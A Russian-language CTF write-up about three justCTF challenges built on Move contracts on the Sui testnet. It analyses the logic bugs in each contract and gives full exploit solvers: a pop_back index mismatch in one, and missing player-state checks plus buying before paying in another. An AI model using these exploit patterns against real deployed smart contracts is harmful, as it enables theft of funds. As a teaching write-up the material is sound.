Привет, меня зовут Ратмир Карабут, и сегодня я расскажу Вам о своем опыте участия в CTF.

Среди нескольких задач, которые мне удалось решить на недавнем 24-часовом квалификационном раунде justCTF, три относились к категории блокчейна и в основе своей имели простые игры-контракты на Move, размещенные в тестнете Sui. Каждая представляла собой сервис, принимающий контракт-солвер и проверяющий условия решения при его взаимодействии с опубликованным контрактом-челленджем, чтобы при их выполнении отдать флаг.

Ни одна из них не выглядит особенно трудной, но, судя по количеству решений, немногие из участвующих команд взялись за категорию в целом, поэтому в сравнении с другими сходными по сложности флагами эти три задачи благодаря динамическому скорингу приносили вместе значительное количество очков. Первая по сложности и вовсе скорее напоминала микчек-разминку с тривиальным решением, вторая была более вовлеченной, но загадка в третьей показалась мне действительно забавной, что и вдохновило меня на эту статью. Стоит, тем не менее, описать все по порядку:

The Otter Scrolls - easy (246 points, 33 solves)

Общий смысл первой задачи, The Otter Scrolls, заключался в освоении процесса работы с предоставленным фреймворком - пробежав глазами контракт, понимаем, что нужно только отправить ему вектор с правильной последовательностью индексов, даже не обфусцированной в исходниках контракта, и вызвать после этого необходимые для получения флага функции. Для этого достаточно дописать в тело solve() в выданном sources/framework-solve/solve/sources/solve.move:

public fun solve(
    _spellbook: &mut theotterscrolls::Spellbook,
    _ctx: &mut TxContext
) {
    let spell = vector[1u64,0,3,3,3];
    theotterscrolls::cast_spell(spell, _spellbook);
    theotterscrolls::check_if_spell_casted(_spellbook);
}

После этого нужно прописать в sources/framework-solve/dependency/Move.toml верный адрес челлендж-контракта (его можно получить, напрямую постучавшись к сервису по выданному в условии адресу с помощью nc tos.nc.jsctf.pro 31337):

...
[addresses]             
admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e"                 
challenge = "542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b"    

Запустив после этого HOST=tos.nc.jctf.pro ./runclient.sh (и, конечно, установив Sui ), получаем от сервиса первый флаг.

Dark BrOTTERhood - medium (275 points, 25 solves)

Анализ

Пробежав глазами второй контракт, видим, что основная интересующая нас игровая логика находится после стандартной обвязки в функциях секций SHOP и ADVENTURE TIME. При регистрации игрок получает 137 монет и 10 силы; вызвав функцию find_a_monster(), мы можем добавить в вектор board.quests "монстра" со случайными значениями силы (от 13 до 37) и награды (от 13 до 73), а также состоянием NEW. fight_monster() позволяет нам победить монстра из вектора квестов, если он находится в состоянии NEW, а его сила меньше силы игрока, сбрасывает в этом случае силу игрока к 10 и меняет состояние квеста на WON.

Чтобы получить необходимую для победы силу, придется вызвать buy_sword() - "меч" увеличит силу на 100 (что гарантирует выполнение условия из fight_monster()), но будет стоить игроку 137 монет - то есть все полученные изначально деньги. Так как максимальная награда за монстра - всего 73 монеты, первый же "бой" сделает продолжение игры по ее предполагаемой логике невозможным - по функции buy_flag ясно, что для покупки флага нам потребуется 1337 монет.

Оставшиеся игровые функции - return_home(), смысл которой заключается в простом переключении состояния выбранного квеста с WON на FINISHED, и get_the_reward(), которая проверяет состояние FINISHED и выдает игроку награду. К ней-то нам и следует присмотреться внимательнее:

    #[allow(lint(self_transfer))]
    public fun get_the_reward(
        vault: &mut Vault<OTTER>,
        board: &mut QuestBoard,
        player: &mut Player,
        quest_id: u64,
        ctx: &mut TxContext,
    ) {
        let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
        assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);

        let monster = vector::pop_back(&mut board.quests);

        let Monster {
            fight_status: _,
            reward: reward,
            power: _
        } = monster;

        let coins = coin::split(&mut vault.cash, (reward as u64), ctx); 
        coin::join(&mut player.coins, coins);
    }

Ключевая деталь, бросающаяся в глаза - несоответствие проверяемого квеста квесту, убираемому из вектора; хотя нам позволено указать индекс квеста, за который мы хотим получить награду, и именно его состояние необходимо установить в FINISHED, из вектора убирается не он сам, а последний элемент вектора - через vector::pop_back() (Vector - The Move Book)!

Эксплуатация

Выходит, что, так как ничто не мешает нам наполнить вектор произвольным (до QUEST_LIMIT - 25) количеством квестов, мы можем потребовать у игры двух монстров, победить первого, купив меч - что позволяют начальные условия - перевести тем самым состояние квеста 0 в WON, затем в FINISHED при помощи return_home(), затем, указав его индекс в get_the_reward(), получить награду за второго - последнего в векторе - монстра, оставив при этом первого в состоянии FINISHED. Вызывая после этого find_a_monster() и get_the_reward() необходимое - неограниченное - количество раз, мы можем гарантированно заработать на флаг примерно за сотню повторений.

Допишем решение в solve():

    public fun solve(
        _vault: &mut Otter::Vault<OTTER>,
        _board: &mut Otter::QuestBoard,
        _player: &mut Otter::Player,
        _r: &Random,
        _ctx: &mut TxContext,
    ) {
        Otter::buy_sword(_vault, _player, _ctx);

        Otter::find_a_monster(_board, _r, _ctx);
        Otter::fight_monster(_board, _player, 0);        
        Otter::return_home(_board, 0);
        
        let mut i = 0;
        loop {
            Otter::find_a_monster(_board, _r, _ctx);
            Otter::get_the_reward(_vault, _board, _player, 0, _ctx);
            i = i + 1;
            if (i == 100) break;
        };

        let flag = Otter::buy_flag(_vault, _player, _ctx);
        Otter::prove(_board, flag);
    }

После чего, аналогично первой задаче, получаем и прописываем в sources/framework-solve/dependency/Move.toml адрес контракта и, запустив клиент, получаем второй флаг.

World of Ottercraft - hard (271 points, 26 solves)

Анализ

Игра в третьем контракте похожа на предыдущую, но устроена очевидно сложнее - в для начала, теперь отслеживается состояние самого игрока, а не монстра, и их пять - PREPARE_FOR_TROUBLE, ON_ADVENTURE, RESTING, SHOPPING и FINISHED. Далее, теперь для покупки силы (и флага) придется заходить в "таверну", вызвав функцию enter_tavern() - это переключит состояние игрока из необходимого (и начального) RESTING в SHOPPING, что проверяется всеми функциями покупки, и вернет переменную типа TawernTicket, которая по правилам Move должна быть потреблена внутри вызывающего контракта - это можно сделать только при помощи функции checkout(). Таким образом, игрок набирает "корзину" покупок и выходит из "таверны", снова переводя состояние в RESTING. Из register() ясно, что на этот раз мы начинаем с 250 монетами.

Функций покупки теперь четыре - buy_flag() устанавливает соответствующий флаг ticket (который позже проверяется в checkout(), приводя к победе) и увеличивает сумму на 537 монет, buy_sword(), buy_shield() и buy_power_of_friendship() же увеличивают силу игрока на 213, 7 и 9000 за 140, 20 и 190 монет соответственно.

Здесь можно сразу заметить, что сила при покупке увеличивается моментально, не требуя проверки на то, что необходимая для покупки сумма действительно имеется на счету игрока - такая проверка происходит только в самом checkout(), как и проверка на то, что общая стоимость выше 0 - не купив чего-то, выйти из таверны нельзя.

Кроме того, интересно, что, в отличие от функций покупки, checkout() вовсе не проверяет состояние игрока - очевидно, расплатиться можно, и не находясь в "таверне". Запомним это на будущее.

Секция ADVENTURE TIME по-прежнему состоит из четырех функций - find_a_monster(), bring_it_on(), return_home() и get_the_reward(). Разберемся поподробнее:

public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
    assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);

    let quest = if (vector::length(&board.quests) % 3 == 0) {
        Monster {
            reward: 100,
            power: 73
        }
    } else if (vector::length(&board.quests) % 3 == 1) {
        Monster {
            reward: 62,
            power: 81
        }
    } else {
        Monster {
            reward: 79,
            power: 94
        }
    };

    vector::push_back(&mut board.quests, quest);
    player.status = PREPARE_FOR_TROUBLE;
}

find_a_monster() на этот раз не наделяет монстров случайными параметрами, а раздает награду и силу в зависимости от того, сколько монстров уже есть в векторе. Состояние переключается в PREPARE_FOR_TROUBLE, но интересно, что проверка в функции не требует определенного состояния, а не пускает только игроков в состояниях SHOPPING, FINISHED и ON_ADVENTURE. Деталь на первый взгляд кажется невинной, но все же запомним - вызывать find_a_monster() можно неограниченное количество раз подряд.

public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(player.power > monster.power, BETTER_GET_EQUIPPED);

    player.status = ON_ADVENTURE;

    player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
    monster.power = 0; //you win! wow!
    player.quest_index = quest_id;
}

bring_it_on() так же проверяет состояние игрока на несоответствие, но на этот раз вариантов, кроме BRING_IT_ON, не остается - поэтому функция может быть вызвана только после find_a_monster(), что выглядит корректно. Как и в Dark BrOTTERhood, игрок может выбрать произвольного монстра из вектора, чтобы помериться с ним силой. В случае победы состояние переходит в ON_ADVENTURE, сила игрока сбрасывается в 10, сила монстра устанавливается в 0, player.quest_index (изначально 0) - в индекс монстра.

public fun return_home(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);

    let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
    assert!(quest_to_finish.power == 0, WRONG_AMOUNT);

    player.status = FINISHED;
}

return_home() опять же корректно, хотя и неуклюже, проверяет состояние и может быть вызвана, видимо, только после bring_it_on() - статус переключается из ON_ADVENTURE в FINISHED, если сила монстра по индексу в player.quest_index равна нулю.

public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {
    assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::remove(&mut board.quests, player.quest_index);

    let Monster {
        reward: reward,
        power: _
    } = monster;

    let coins = coin::split(&mut vault.cash, reward, ctx); 
    let balance = coin::into_balance(coins);

    balance::join(&mut player.wallet, balance);

    player.status = RESTING;
}

Наконец, get_the_reward() снова недопроверяет состояние - видим, что кроме подразумеваемого FINISHED получить награду за квест можно не выходя из таверны, то есть в статусе SHOPPING. В отличие от Dark BrOTTERhood, впрочем, похоже, что побежденный монстр корректно убирается из вектора - во всяком случае, используется player.quest_index, и произвольно указать индекс нельзя. Игрок же получает монеты и переходит в изначальный RESTING.

Эксплуатация

Для начала подведем итоги найденным багам:

  1. сила игрока увеличивается в таверне до проверки на платежеспособность

  2. расплатиться по чеку таверны можно откуда угодно, то есть из любого состояния

  3. искать монстров, то есть добавлять их в список, можно много раз подряд (возможно, фича?)

  4. получить награду за побежденного монстра (и вернуться на заслуженный отдых) можно прямо из таверны

Покрутив эти четыре пункта в голове так и эдак, осознаем, во-первых - награду за монстра, полученную в таверне, можно тут же использовать для покупки! В самом деле, если награда получается из таверны с переключением статуса в RESTING, а checkout() статус не проверяет вовсе, получить TawernTicket и расплатиться по нему можно, на деле увеличив, а не уменьшив, сумму на счету - без покупки обойтись нельзя, но для выполнения этого условия мы можем покупать дешевые щиты, которые полученная награда всегда будет перевешивать. Так как get_the_reward() использует неизменный player.quest_index, а также - во-вторых - не выполняет никаких проверок на состояние самого квеста (ведь сила монстра учитывается только в bring_it_on() и return_home()) - то нам было бы достаточно выстроить очередь из монстров на заклание, послушно сдвигающуюся к нашему (предпочтительно нулевому) индексу при каждом новом вызове get_the_reward().

Но - в-третьих - благодаря пункту 3 мы уже знаем, как устроить эту очередь! Впрочем, как и в Dark BrOTTERhood, нам придется замарать руки и честно справиться с одним монстром, чтобы правильно обойти состояния в первый раз - к сожалению, мы никак не можем использовать для этого первый баг, поскольку TawerTicket должен быть использован корректно. Но этого и не нужно - начального капитала вполне хватит для первого сражения. Достаточно только купить меч и набрать полный контингент обманутых монстров при первом проходе через find_a_monster():

public fun solve(
    _board: &mut Otter::QuestBoard,
    _vault: &mut Otter::Vault<OTTER>,
    _player: &mut Otter::Player,
    _ctx: &mut TxContext
) {
    let mut ticket = Otter::enter_tavern(_player);
    Otter::buy_sword(_player, &mut ticket);
    Otter::checkout(ticket, _player, _ctx, _vault, _board);
    
    let mut i = 0;
    loop {
        Otter::find_a_monster(_board, _player);
        i = i + 1;
        if (i == 25) break;
    };
    
    Otter::bring_it_on(_board, _player, 0);
    Otter::return_home(_board, _player);
    Otter::get_the_reward(_vault, _board, _player, _ctx);

    i = 0;
    loop {
        let mut ticket = Otter::enter_tavern(_player);
        Otter::buy_shield(_player, &mut ticket);
        Otter::get_the_reward(_vault, _board, _player, _ctx);
        Otter::checkout(ticket, _player, _ctx, _vault, _board);
        i = i + 1;
        if (i == 24) break;
    };
        
    let mut ticket = Otter::enter_tavern(_player);
    Otter::buy_flag(&mut ticket, _player);
    Otter::checkout(ticket, _player, _ctx, _vault, _board);
}

Провернув знакомую процедуру, получаем третий и последний флаг в категории.

Заключение

Как видно, логические уязвимости в этой серии не имели прямого отношения к Move (пожалуй, за исключением ограничения на недоиспользование TawernTicket в третьей, что усложнило возможное решение) - в принципе, задачи могли бы быть реализованы в виде стандартных оффчейновых сервисов. Впрочем, оформлены они были хорошо, решать их было удобно, а повозиться с Sui любопытно, и это принесло здесь 792 из 1325 набранных мной очков - а кроме того, будет хорошей подготовкой к следующему MoveCTF.

На этом все.

Наш сайт: https://radcop.online

Наш ТГ: @radcop_online

Наш YouTube-канал: www.youtube.com/@radcop

Комментарии (0)